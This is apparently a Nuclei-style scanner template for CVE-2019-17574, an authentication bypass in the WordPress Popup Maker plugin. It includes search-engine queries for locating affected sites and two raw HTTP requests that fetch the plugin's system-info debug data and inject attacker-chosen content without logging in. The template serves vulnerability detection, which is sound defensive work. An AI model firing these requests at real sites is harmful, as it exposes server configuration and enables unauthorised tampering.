An issue was discovered in the Popup Maker plugin before 1.8.13 for WordPress. An unauthenticated attacker can partially control the arguments of the do_action function to invoke certain popmake_ or pum_ methods, as demonstrated by controlling content and delivery of popmake-system-info.txt (aka the "support debug text file").
PoC代码[已公开]
id: CVE-2019-17574
info:
name: Popup-Maker < 1.8.12 - Broken Authentication
author: DhiyaneshDK
severity: critical
description: |
An issue was discovered in the Popup Maker plugin before 1.8.13 for WordPress. An unauthenticated attacker can partially control the arguments of the do_action function to invoke certain popmake_ or pum_ methods, as demonstrated by controlling content and delivery of popmake-system-info.txt (aka the "support debug text file").
impact: |
Unauthenticated attackers can gain administrative access to the WordPress site.
remediation: |
Update Popup-Maker plugin to version 1.8.12 or later.
reference:
- https://wpscan.com/vulnerability/9907
- https://web.archive.org/web/20191128065954/https://blog.redyops.com/wordpress-plugin-popup-maker/
- https://nvd.nist.gov/vuln/detail/CVE-2019-17574
- https://github.com/PopupMaker/Popup-Maker/blob/master/CHANGELOG.md
- https://wpvulndb.com/vulnerabilities/9907
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: 'CVE-2019-17574'
cwe-id: CWE-639
epss-score: 0.75511
epss-percentile: 0.98855
cpe: cpe:2.3:a:code-atlantic:popup_maker:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: code-atlantic
product: popup_maker
framework: wordpress
shodan-query: http.html:/wp-content/plugins/popup-maker/
fofa-query: body=/wp-content/plugins/popup-maker/
publicwww-query: "/wp-content/plugins/popup-maker/"
tags: cve,cve2019,wpscan,wp,wordpress,wp-plugin,disclosure,popup-maker,auth-bypass,code-atlantic
http:
- raw:
- |
GET /?pum_action=tools_page_tab_system_info HTTP/1.1
Host: {{Hostname}}
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
popmake_action=popup_sysinfo&popmake-sysinfo=CVE-2019-17574
matchers-condition: and
matchers:
- type: word
part: body_1
words:
- 'Popup Maker Configuration'
- 'Webserver Configuration'
condition: and
- type: word
part: body_2
words:
- 'CVE-2019-17574'
# digest: 4a0a00473045022100e0011458d7281f96d9aaa0e64c3c822afcdeb08371b4f47901727c0689b1dee402203a97776283ebf5cfa6a7919a1bf31d5737671b6427125824781c78e67fa74656:922c64590222798bb761d5b6d8e72950